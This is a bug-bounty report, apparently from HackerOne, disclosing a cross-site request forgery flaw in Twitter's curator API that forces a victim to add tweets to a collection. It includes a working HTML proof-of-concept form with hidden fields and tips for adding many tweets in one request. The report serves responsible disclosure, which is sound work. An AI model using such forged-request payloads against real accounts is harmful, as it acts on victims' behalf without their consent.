Twitter: Add tweet to collection CSRF

2015-11-21T09:39:00
ID H1:100820
Type hackerone
Reporter vijay_kumar1110
Modified 2016-08-22T18:54:18

Description

Hi Team,

I have found a CSRF vulnerability which force victim to add tweets in his collection.

HTML POC :

<html> <body> <form action="https://curator.twitter.com/api/collections/STREAM/content" method="POST"> <input type="hidden" name="tweet_ids[]" value="667977435124658176"> <input type="hidden" name="collections[]" value="667916850294951936"> <input type="hidden" name="model[id]" value="STREAM"> <input type=submit> </body> </html>

Before using this POC change the Collection ID to your collection ID and you will see that tweet will be added into your collection.You can Also add so many tweets in one request by adding "tweet_ids" parameter multiple times.

Let me know if you need any other help from my side.

Best Regards ! Vijay Kumar